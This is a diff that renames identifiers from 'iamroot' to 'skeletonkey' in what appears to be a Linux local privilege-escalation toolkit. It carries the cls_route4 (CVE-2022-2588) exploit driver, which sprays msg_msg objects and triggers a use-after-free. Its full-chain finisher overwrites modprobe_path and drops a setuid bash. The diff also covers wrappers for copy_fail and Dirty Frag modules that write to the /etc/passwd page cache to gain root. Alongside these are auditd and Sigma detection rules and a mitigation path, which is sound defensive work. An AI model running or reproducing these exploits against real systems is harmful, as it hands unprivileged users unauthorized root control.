@@ -487,7 +487,7 @@ static int cls4_seed_kaddr_payload(struct cls_route4_arb_ctx *c,
|
|||||||
return sent;
|
return sent;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* iamroot_arb_write_fn implementation for cls_route4. Best-effort on a
|
/* skeletonkey_arb_write_fn implementation for cls_route4. Best-effort on a
|
||||||
* vulnerable kernel; structurally inert (returns -1) if the dangling
|
* vulnerable kernel; structurally inert (returns -1) if the dangling
|
||||||
* filter setup is gone or the spray fails. Returns 0 to let the
|
* filter setup is gone or the spray fails. Returns 0 to let the
|
||||||
* shared finisher's sentinel-file check decide if the write actually
|
* shared finisher's sentinel-file check decide if the write actually
|
||||||
@@ -548,43 +548,43 @@ static int cls4_arb_write(uintptr_t kaddr,
|
|||||||
|
|
||||||
/* ---- Exploit driver ----------------------------------------------- */
|
/* ---- Exploit driver ----------------------------------------------- */
|
||||||
|
|
||||||
static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t cls_route4_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
iamroot_result_t pre = cls_route4_detect(ctx);
|
skeletonkey_result_t pre = cls_route4_detect(ctx);
|
||||||
if (pre != IAMROOT_VULNERABLE) {
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
fprintf(stderr, "[-] cls_route4: detect() says not vulnerable; refusing\n");
|
fprintf(stderr, "[-] cls_route4: detect() says not vulnerable; refusing\n");
|
||||||
return pre;
|
return pre;
|
||||||
}
|
}
|
||||||
if (geteuid() == 0) {
|
if (geteuid() == 0) {
|
||||||
fprintf(stderr, "[i] cls_route4: already root\n");
|
fprintf(stderr, "[i] cls_route4: already root\n");
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
if (!have_tc() || !have_ip()) {
|
if (!have_tc() || !have_ip()) {
|
||||||
fprintf(stderr, "[-] cls_route4: tc/ip (iproute2) not available on PATH; "
|
fprintf(stderr, "[-] cls_route4: tc/ip (iproute2) not available on PATH; "
|
||||||
"cannot exploit\n");
|
"cannot exploit\n");
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
#ifndef __linux__
|
#ifndef __linux__
|
||||||
fprintf(stderr, "[-] cls_route4: linux-only exploit; non-linux build\n");
|
fprintf(stderr, "[-] cls_route4: linux-only exploit; non-linux build\n");
|
||||||
(void)ctx;
|
(void)ctx;
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
#else
|
#else
|
||||||
/* Full-chain pre-check: resolve offsets before forking. If
|
/* Full-chain pre-check: resolve offsets before forking. If
|
||||||
* modprobe_path can't be resolved, refuse early — no point doing
|
* modprobe_path can't be resolved, refuse early — no point doing
|
||||||
* the userns + tc + spray + trigger dance if we can't finish. */
|
* the userns + tc + spray + trigger dance if we can't finish. */
|
||||||
struct iamroot_kernel_offsets off;
|
struct skeletonkey_kernel_offsets off;
|
||||||
bool full_chain_ready = false;
|
bool full_chain_ready = false;
|
||||||
if (ctx->full_chain) {
|
if (ctx->full_chain) {
|
||||||
memset(&off, 0, sizeof off);
|
memset(&off, 0, sizeof off);
|
||||||
iamroot_offsets_resolve(&off);
|
skeletonkey_offsets_resolve(&off);
|
||||||
if (!iamroot_offsets_have_modprobe_path(&off)) {
|
if (!skeletonkey_offsets_have_modprobe_path(&off)) {
|
||||||
iamroot_finisher_print_offset_help("cls_route4");
|
skeletonkey_finisher_print_offset_help("cls_route4");
|
||||||
fprintf(stderr, "[-] cls_route4: --full-chain requested but "
|
fprintf(stderr, "[-] cls_route4: --full-chain requested but "
|
||||||
"modprobe_path offset unresolved; refusing\n");
|
"modprobe_path offset unresolved; refusing\n");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
iamroot_offsets_print(&off);
|
skeletonkey_offsets_print(&off);
|
||||||
full_chain_ready = true;
|
full_chain_ready = true;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -607,7 +607,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
|||||||
pid_t child = fork();
|
pid_t child = fork();
|
||||||
if (child < 0) {
|
if (child < 0) {
|
||||||
perror("fork");
|
perror("fork");
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (child == 0) {
|
if (child == 0) {
|
||||||
@@ -652,7 +652,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
|||||||
|
|
||||||
/* Best-effort empirical witness write — picked up by --cleanup
|
/* Best-effort empirical witness write — picked up by --cleanup
|
||||||
* and by post-run triage. */
|
* and by post-run triage. */
|
||||||
FILE *log = fopen("/tmp/iamroot-cls_route4.log", "w");
|
FILE *log = fopen("/tmp/skeletonkey-cls_route4.log", "w");
|
||||||
if (log) {
|
if (log) {
|
||||||
fprintf(log,
|
fprintf(log,
|
||||||
"cls_route4 trigger child: queues=%d slab_pre=%ld slab_post=%ld\n",
|
"cls_route4 trigger child: queues=%d slab_pre=%ld slab_post=%ld\n",
|
||||||
@@ -674,18 +674,18 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
|||||||
* kernel a second chance at the refilled slot — the
|
* kernel a second chance at the refilled slot — the
|
||||||
* dangling filter is still in place from above. */
|
* dangling filter is still in place from above. */
|
||||||
arb_ctx.dangling_ready = true;
|
arb_ctx.dangling_ready = true;
|
||||||
int fr = iamroot_finisher_modprobe_path(&off,
|
int fr = skeletonkey_finisher_modprobe_path(&off,
|
||||||
cls4_arb_write,
|
cls4_arb_write,
|
||||||
&arb_ctx,
|
&arb_ctx,
|
||||||
!ctx->no_shell);
|
!ctx->no_shell);
|
||||||
FILE *fl = fopen("/tmp/iamroot-cls_route4.log", "a");
|
FILE *fl = fopen("/tmp/skeletonkey-cls_route4.log", "a");
|
||||||
if (fl) {
|
if (fl) {
|
||||||
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
|
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d arb_landed=%d\n",
|
||||||
fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
|
fr, arb_ctx.arb_calls, arb_ctx.arb_landed);
|
||||||
fclose(fl);
|
fclose(fl);
|
||||||
}
|
}
|
||||||
drain_msg_msg(arb_ctx.queues);
|
drain_msg_msg(arb_ctx.queues);
|
||||||
if (fr == IAMROOT_EXPLOIT_OK) _exit(34);
|
if (fr == SKELETONKEY_EXPLOIT_OK) _exit(34);
|
||||||
_exit(35);
|
_exit(35);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -709,7 +709,7 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
|||||||
pid_t w = waitpid(child, &status, 0);
|
pid_t w = waitpid(child, &status, 0);
|
||||||
if (w < 0) {
|
if (w < 0) {
|
||||||
perror("waitpid");
|
perror("waitpid");
|
||||||
return IAMROOT_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (WIFSIGNALED(status)) {
|
if (WIFSIGNALED(status)) {
|
||||||
@@ -724,14 +724,14 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
|||||||
* claim root — we haven't escalated. */
|
* claim root — we haven't escalated. */
|
||||||
fprintf(stderr, "[~] cls_route4: empirical UAF trigger fired but "
|
fprintf(stderr, "[~] cls_route4: empirical UAF trigger fired but "
|
||||||
"no cred-overwrite primitive — returning EXPLOIT_FAIL "
|
"no cred-overwrite primitive — returning EXPLOIT_FAIL "
|
||||||
"(no shell). See /tmp/iamroot-cls_route4.log + dmesg.\n");
|
"(no shell). See /tmp/skeletonkey-cls_route4.log + dmesg.\n");
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!WIFEXITED(status)) {
|
if (!WIFEXITED(status)) {
|
||||||
fprintf(stderr, "[-] cls_route4: child terminated abnormally (status=0x%x)\n",
|
fprintf(stderr, "[-] cls_route4: child terminated abnormally (status=0x%x)\n",
|
||||||
status);
|
status);
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
int rc = WEXITSTATUS(status);
|
int rc = WEXITSTATUS(status);
|
||||||
@@ -740,19 +740,19 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
|||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[-] cls_route4: userns setup failed (rc=%d)\n", rc);
|
fprintf(stderr, "[-] cls_route4: userns setup failed (rc=%d)\n", rc);
|
||||||
}
|
}
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
case 22:
|
case 22:
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[-] cls_route4: tc setup failed; cls_route4 module "
|
fprintf(stderr, "[-] cls_route4: tc setup failed; cls_route4 module "
|
||||||
"may be absent or filter type unsupported\n");
|
"may be absent or filter type unsupported\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
case 23:
|
case 23:
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[-] cls_route4: msg_msg spray failed; sysvipc may be "
|
fprintf(stderr, "[-] cls_route4: msg_msg spray failed; sysvipc may be "
|
||||||
"restricted (kernel.msg_max / ulimit -q)\n");
|
"restricted (kernel.msg_max / ulimit -q)\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
case 30:
|
case 30:
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] cls_route4: trigger ran to completion. "
|
fprintf(stderr, "[*] cls_route4: trigger ran to completion. "
|
||||||
@@ -760,34 +760,34 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[~] cls_route4: cred-overwrite step not invoked "
|
fprintf(stderr, "[~] cls_route4: cred-overwrite step not invoked "
|
||||||
"(no --full-chain); returning EXPLOIT_FAIL.\n");
|
"(no --full-chain); returning EXPLOIT_FAIL.\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
case 34:
|
case 34:
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[+] cls_route4: --full-chain finisher reported OK "
|
fprintf(stderr, "[+] cls_route4: --full-chain finisher reported OK "
|
||||||
"(setuid bash placed; sentinel matched)\n");
|
"(setuid bash placed; sentinel matched)\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_OK;
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
case 35:
|
case 35:
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[~] cls_route4: --full-chain finisher returned FAIL — "
|
fprintf(stderr, "[~] cls_route4: --full-chain finisher returned FAIL — "
|
||||||
"either the kernel is patched, the spray didn't land,\n"
|
"either the kernel is patched, the spray didn't land,\n"
|
||||||
" or the fake-ops deref didn't hit the route the\n"
|
" or the fake-ops deref didn't hit the route the\n"
|
||||||
" finisher's sentinel polls for. See "
|
" finisher's sentinel polls for. See "
|
||||||
"/tmp/iamroot-cls_route4.log + dmesg.\n");
|
"/tmp/skeletonkey-cls_route4.log + dmesg.\n");
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
default:
|
default:
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[-] cls_route4: unexpected child rc=%d\n", rc);
|
fprintf(stderr, "[-] cls_route4: unexpected child rc=%d\n", rc);
|
||||||
}
|
}
|
||||||
return IAMROOT_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
#endif /* __linux__ */
|
#endif /* __linux__ */
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ---- Cleanup ----------------------------------------------------- */
|
/* ---- Cleanup ----------------------------------------------------- */
|
||||||
|
|
||||||
static iamroot_result_t cls_route4_cleanup(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t cls_route4_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] cls_route4: tearing down dummy interface + log\n");
|
fprintf(stderr, "[*] cls_route4: tearing down dummy interface + log\n");
|
||||||
@@ -797,21 +797,21 @@ static iamroot_result_t cls_route4_cleanup(const struct iamroot_ctx *ctx)
|
|||||||
* the exploit with extended privileges (e.g. as root) and the
|
* the exploit with extended privileges (e.g. as root) and the
|
||||||
* interface lingered in init_net. */
|
* interface lingered in init_net. */
|
||||||
if (run_cmd("ip link del " DUMMY_IF) != 0) { /* harmless */ }
|
if (run_cmd("ip link del " DUMMY_IF) != 0) { /* harmless */ }
|
||||||
if (unlink("/tmp/iamroot-cls_route4.log") < 0 && errno != ENOENT) {
|
if (unlink("/tmp/skeletonkey-cls_route4.log") < 0 && errno != ENOENT) {
|
||||||
/* ignore */
|
/* ignore */
|
||||||
}
|
}
|
||||||
return IAMROOT_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
static const char cls_route4_auditd[] =
|
static const char cls_route4_auditd[] =
|
||||||
"# cls_route4 dead UAF (CVE-2022-2588) — auditd detection rules\n"
|
"# cls_route4 dead UAF (CVE-2022-2588) — auditd detection rules\n"
|
||||||
"# Flag tc filter operations with route4 classifier from non-root.\n"
|
"# Flag tc filter operations with route4 classifier from non-root.\n"
|
||||||
"# False positives: legitimate traffic-shaping setup. Tune by user.\n"
|
"# False positives: legitimate traffic-shaping setup. Tune by user.\n"
|
||||||
"-a always,exit -F arch=b64 -S sendto -F a3=0x10 -k iamroot-cls-route4\n"
|
"-a always,exit -F arch=b64 -S sendto -F a3=0x10 -k skeletonkey-cls-route4\n"
|
||||||
"-a always,exit -F arch=b64 -S unshare -k iamroot-cls-route4-userns\n"
|
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-cls-route4-userns\n"
|
||||||
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-cls-route4-spray\n";
|
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-cls-route4-spray\n";
|
||||||
|
|
||||||
const struct iamroot_module cls_route4_module = {
|
const struct skeletonkey_module cls_route4_module = {
|
||||||
.name = "cls_route4",
|
.name = "cls_route4",
|
||||||
.cve = "CVE-2022-2588",
|
.cve = "CVE-2022-2588",
|
||||||
.summary = "net/sched cls_route4 handle-zero dead UAF → kernel R/W",
|
.summary = "net/sched cls_route4 handle-zero dead UAF → kernel R/W",
|
||||||
@@ -827,7 +827,7 @@ const struct iamroot_module cls_route4_module = {
|
|||||||
.detect_falco = NULL,
|
.detect_falco = NULL,
|
||||||
};
|
};
|
||||||
|
|
||||||
void iamroot_register_cls_route4(void)
|
void skeletonkey_register_cls_route4(void)
|
||||||
{
|
{
|
||||||
iamroot_register(&cls_route4_module);
|
skeletonkey_register(&cls_route4_module);
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* cls_route4_cve_2022_2588 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef CLS_ROUTE4_SKELETONKEY_MODULES_H
|
||||||
|
#define CLS_ROUTE4_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module cls_route4_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -1,28 +0,0 @@
|
|||||||
/*
|
|
||||||
* copy_fail_family — IAMROOT module registry hooks
|
|
||||||
*
|
|
||||||
* The family currently contains five iamroot_module entries:
|
|
||||||
*
|
|
||||||
* - copy_fail (CVE-2026-31431, algif_aead authencesn)
|
|
||||||
* - copy_fail_gcm (no CVE, rfc4106(gcm(aes)) variant)
|
|
||||||
* - dirty_frag_esp (CVE-2026-43284 v4)
|
|
||||||
* - dirty_frag_esp6 (CVE-2026-43284 v6)
|
|
||||||
* - dirty_frag_rxrpc (CVE-2026-43500)
|
|
||||||
*
|
|
||||||
* Defined in iamroot_modules.c, registered into the global registry
|
|
||||||
* by iamroot_register_copy_fail_family() (declared in
|
|
||||||
* core/registry.h).
|
|
||||||
*/
|
|
||||||
|
|
||||||
#ifndef COPY_FAIL_FAMILY_IAMROOT_MODULES_H
|
|
||||||
#define COPY_FAIL_FAMILY_IAMROOT_MODULES_H
|
|
||||||
|
|
||||||
#include "../../core/module.h"
|
|
||||||
|
|
||||||
extern const struct iamroot_module copy_fail_module;
|
|
||||||
extern const struct iamroot_module copy_fail_gcm_module;
|
|
||||||
extern const struct iamroot_module dirty_frag_esp_module;
|
|
||||||
extern const struct iamroot_module dirty_frag_esp6_module;
|
|
||||||
extern const struct iamroot_module dirty_frag_rxrpc_module;
|
|
||||||
|
|
||||||
#endif
|
|
||||||
+50
-50
@@ -1,21 +1,21 @@
|
|||||||
/*
|
/*
|
||||||
* copy_fail_family — IAMROOT module bridge layer
|
* copy_fail_family — SKELETONKEY module bridge layer
|
||||||
*
|
*
|
||||||
* Wraps the existing per-CVE detect/exploit functions (from the
|
* Wraps the existing per-CVE detect/exploit functions (from the
|
||||||
* absorbed DIRTYFAIL codebase) as standard iamroot_module entries.
|
* absorbed DIRTYFAIL codebase) as standard skeletonkey_module entries.
|
||||||
*
|
*
|
||||||
* The bridge functions translate between the family's df_result_t
|
* The bridge functions translate between the family's df_result_t
|
||||||
* (defined in src/common.h) and iamroot_result_t (defined in
|
* (defined in src/common.h) and skeletonkey_result_t (defined in
|
||||||
* core/module.h). Numeric values are identical by design so the
|
* core/module.h). Numeric values are identical by design so the
|
||||||
* translation is a direct cast.
|
* translation is a direct cast.
|
||||||
*
|
*
|
||||||
* iamroot_ctx fields (no_color, json, active_probe, no_shell) are
|
* skeletonkey_ctx fields (no_color, json, active_probe, no_shell) are
|
||||||
* forwarded to the family's existing global flags before each
|
* forwarded to the family's existing global flags before each
|
||||||
* callback. This preserves DIRTYFAIL's existing CLI semantics
|
* callback. This preserves DIRTYFAIL's existing CLI semantics
|
||||||
* unchanged.
|
* unchanged.
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "iamroot_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
#include "../../core/registry.h"
|
#include "../../core/registry.h"
|
||||||
|
|
||||||
#include "src/common.h"
|
#include "src/common.h"
|
||||||
@@ -28,7 +28,7 @@
|
|||||||
|
|
||||||
#include <sys/stat.h>
|
#include <sys/stat.h>
|
||||||
|
|
||||||
static void apply_ctx(const struct iamroot_ctx *ctx)
|
static void apply_ctx(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
dirtyfail_use_color = !ctx->no_color;
|
dirtyfail_use_color = !ctx->no_color;
|
||||||
dirtyfail_active_probes = ctx->active_probe;
|
dirtyfail_active_probes = ctx->active_probe;
|
||||||
@@ -54,13 +54,13 @@ static void apply_ctx(const struct iamroot_ctx *ctx)
|
|||||||
|
|
||||||
#define CFF_MITIGATE_CONF "/etc/modprobe.d/dirtyfail-mitigations.conf"
|
#define CFF_MITIGATE_CONF "/etc/modprobe.d/dirtyfail-mitigations.conf"
|
||||||
|
|
||||||
static iamroot_result_t copy_fail_family_mitigate(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t copy_fail_family_mitigate(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
apply_ctx(ctx);
|
apply_ctx(ctx);
|
||||||
return (iamroot_result_t)mitigate_apply();
|
return (skeletonkey_result_t)mitigate_apply();
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t copy_fail_family_cleanup(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t copy_fail_family_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
apply_ctx(ctx);
|
apply_ctx(ctx);
|
||||||
struct stat st;
|
struct stat st;
|
||||||
@@ -69,27 +69,27 @@ static iamroot_result_t copy_fail_family_cleanup(const struct iamroot_ctx *ctx)
|
|||||||
fprintf(stderr, "[*] copy_fail_family: detected mitigation conf "
|
fprintf(stderr, "[*] copy_fail_family: detected mitigation conf "
|
||||||
"(%s); reverting mitigation\n", CFF_MITIGATE_CONF);
|
"(%s); reverting mitigation\n", CFF_MITIGATE_CONF);
|
||||||
}
|
}
|
||||||
return (iamroot_result_t)mitigate_revert();
|
return (skeletonkey_result_t)mitigate_revert();
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json) {
|
||||||
fprintf(stderr, "[*] copy_fail_family: no mitigation conf; "
|
fprintf(stderr, "[*] copy_fail_family: no mitigation conf; "
|
||||||
"evicting /etc/passwd from page cache\n");
|
"evicting /etc/passwd from page cache\n");
|
||||||
}
|
}
|
||||||
return try_revert_passwd_page_cache() ? IAMROOT_OK : IAMROOT_TEST_ERROR;
|
return try_revert_passwd_page_cache() ? SKELETONKEY_OK : SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ----- copy_fail (CVE-2026-31431) ----- */
|
/* ----- copy_fail (CVE-2026-31431) ----- */
|
||||||
|
|
||||||
static iamroot_result_t copy_fail_detect_wrap(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t copy_fail_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
apply_ctx(ctx);
|
apply_ctx(ctx);
|
||||||
return (iamroot_result_t)copyfail_detect();
|
return (skeletonkey_result_t)copyfail_detect();
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t copy_fail_exploit_wrap(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t copy_fail_exploit_wrap(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
apply_ctx(ctx);
|
apply_ctx(ctx);
|
||||||
return (iamroot_result_t)copyfail_exploit(!ctx->no_shell);
|
return (skeletonkey_result_t)copyfail_exploit(!ctx->no_shell);
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Shared detection rules for the copy_fail family — every member of
|
/* Shared detection rules for the copy_fail family — every member of
|
||||||
@@ -99,19 +99,19 @@ static iamroot_result_t copy_fail_exploit_wrap(const struct iamroot_ctx *ctx)
|
|||||||
static const char copy_fail_family_auditd[] =
|
static const char copy_fail_family_auditd[] =
|
||||||
"# Copy Fail family (CVE-2026-31431 + Dirty Frag CVE-2026-43284 + RxRPC CVE-2026-43500)\n"
|
"# Copy Fail family (CVE-2026-31431 + Dirty Frag CVE-2026-43284 + RxRPC CVE-2026-43500)\n"
|
||||||
"# Page-cache writes to passwd/shadow/su/sudoers from non-root.\n"
|
"# Page-cache writes to passwd/shadow/su/sudoers from non-root.\n"
|
||||||
"-w /etc/passwd -p wa -k iamroot-copy-fail\n"
|
"-w /etc/passwd -p wa -k skeletonkey-copy-fail\n"
|
||||||
"-w /etc/shadow -p wa -k iamroot-copy-fail\n"
|
"-w /etc/shadow -p wa -k skeletonkey-copy-fail\n"
|
||||||
"-w /etc/sudoers -p wa -k iamroot-copy-fail\n"
|
"-w /etc/sudoers -p wa -k skeletonkey-copy-fail\n"
|
||||||
"-w /etc/sudoers.d -p wa -k iamroot-copy-fail\n"
|
"-w /etc/sudoers.d -p wa -k skeletonkey-copy-fail\n"
|
||||||
"-w /usr/bin/su -p wa -k iamroot-copy-fail\n"
|
"-w /usr/bin/su -p wa -k skeletonkey-copy-fail\n"
|
||||||
"# AF_ALG socket creation by non-root — heavily used by exploit\n"
|
"# AF_ALG socket creation by non-root — heavily used by exploit\n"
|
||||||
"-a always,exit -F arch=b64 -S socket -F a0=38 -k iamroot-copy-fail-afalg\n"
|
"-a always,exit -F arch=b64 -S socket -F a0=38 -k skeletonkey-copy-fail-afalg\n"
|
||||||
"# xfrm SA setup (Dirty Frag ESP variants)\n"
|
"# xfrm SA setup (Dirty Frag ESP variants)\n"
|
||||||
"-a always,exit -F arch=b64 -S setsockopt -k iamroot-copy-fail-xfrm\n";
|
"-a always,exit -F arch=b64 -S setsockopt -k skeletonkey-copy-fail-xfrm\n";
|
||||||
|
|
||||||
static const char copy_fail_family_sigma[] =
|
static const char copy_fail_family_sigma[] =
|
||||||
"title: Copy Fail / Dirty Frag family exploitation\n"
|
"title: Copy Fail / Dirty Frag family exploitation\n"
|
||||||
"id: 4d8e6c2a-iamroot-copy-fail-family\n"
|
"id: 4d8e6c2a-skeletonkey-copy-fail-family\n"
|
||||||
"status: experimental\n"
|
"status: experimental\n"
|
||||||
"description: |\n"
|
"description: |\n"
|
||||||
" Detects the file-modification footprint of Copy Fail (CVE-2026-31431) and\n"
|
" Detects the file-modification footprint of Copy Fail (CVE-2026-31431) and\n"
|
||||||
@@ -127,7 +127,7 @@ static const char copy_fail_family_sigma[] =
|
|||||||
"level: high\n"
|
"level: high\n"
|
||||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.31431, cve.2026.43284, cve.2026.43500]\n";
|
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.31431, cve.2026.43284, cve.2026.43500]\n";
|
||||||
|
|
||||||
const struct iamroot_module copy_fail_module = {
|
const struct skeletonkey_module copy_fail_module = {
|
||||||
.name = "copy_fail",
|
.name = "copy_fail",
|
||||||
.cve = "CVE-2026-31431",
|
.cve = "CVE-2026-31431",
|
||||||
.summary = "algif_aead authencesn page-cache write → /etc/passwd UID flip",
|
.summary = "algif_aead authencesn page-cache write → /etc/passwd UID flip",
|
||||||
@@ -145,19 +145,19 @@ const struct iamroot_module copy_fail_module = {
|
|||||||
|
|
||||||
/* ----- copy_fail_gcm (variant, no CVE) ----- */
|
/* ----- copy_fail_gcm (variant, no CVE) ----- */
|
||||||
|
|
||||||
static iamroot_result_t copy_fail_gcm_detect_wrap(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t copy_fail_gcm_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
apply_ctx(ctx);
|
apply_ctx(ctx);
|
||||||
return (iamroot_result_t)copyfail_gcm_detect();
|
return (skeletonkey_result_t)copyfail_gcm_detect();
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t copy_fail_gcm_exploit_wrap(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t copy_fail_gcm_exploit_wrap(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
apply_ctx(ctx);
|
apply_ctx(ctx);
|
||||||
return (iamroot_result_t)copyfail_gcm_exploit(!ctx->no_shell);
|
return (skeletonkey_result_t)copyfail_gcm_exploit(!ctx->no_shell);
|
||||||
}
|
}
|
||||||
|
|
||||||
const struct iamroot_module copy_fail_gcm_module = {
|
const struct skeletonkey_module copy_fail_gcm_module = {
|
||||||
.name = "copy_fail_gcm",
|
.name = "copy_fail_gcm",
|
||||||
.cve = "VARIANT",
|
.cve = "VARIANT",
|
||||||
.summary = "rfc4106(gcm(aes)) single-byte page-cache write (Copy Fail sibling)",
|
.summary = "rfc4106(gcm(aes)) single-byte page-cache write (Copy Fail sibling)",
|
||||||
@@ -175,19 +175,19 @@ const struct iamroot_module copy_fail_gcm_module = {
|
|||||||
|
|
||||||
/* ----- dirty_frag_esp (CVE-2026-43284 v4) ----- */
|
/* ----- dirty_frag_esp (CVE-2026-43284 v4) ----- */
|
||||||
|
|
||||||
static iamroot_result_t dirty_frag_esp_detect_wrap(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t dirty_frag_esp_detect_wrap(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
apply_ctx(ctx);
|
apply_ctx(ctx);
|
||||||
return (iamroot_result_t)dirtyfrag_esp_detect();
|
return (skeletonkey_result_t)dirtyfrag_esp_detect();
|
||||||
}
|
}
|
||||||
|
|
||||||
static iamroot_result_t dirty_frag_esp_exploit_wrap(const struct iamroot_ctx *ctx)
|
static skeletonkey_result_t dirty_frag_esp_exploit_wrap(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
apply_ctx(ctx);
|
apply_ctx(ctx);
|
||||||
return (iamroot_result_t)dirtyfrag_esp_exploit(!ctx->no_shell);
|
return (skeletonkey_result_t)dirtyfrag_esp_exploit(!ctx->no_shell);
|
||||||
}
|
}
|
||||||
|
|
||||||
const struct iamroot_module dirty_frag_esp_module = {
|
const struct skeletonkey_module dirty_frag_esp_module = {
|
||||||
.name = "dirty_frag_esp",
|
.name = "dirty_frag_esp",
|
||||||
.cve = "CVE-2026-43284",
|
.cve = "CVE-2026-43284",
|
||||||
.summary = "IPv4 xfrm-ESP page-cache write (Dirty Frag v4)",
|
.summary = "IPv4 xfrm-ESP page-cache write (Dirty Frag v4)",
|
||||||
@@ -205,19 +205,19 @@ const struct iamroot_module dirty_frag_esp_module = {
|
|||||||
|
|
||||||
/* ----- dirty_frag_esp6 (CVE-2026-43284 v6) ----- */
|
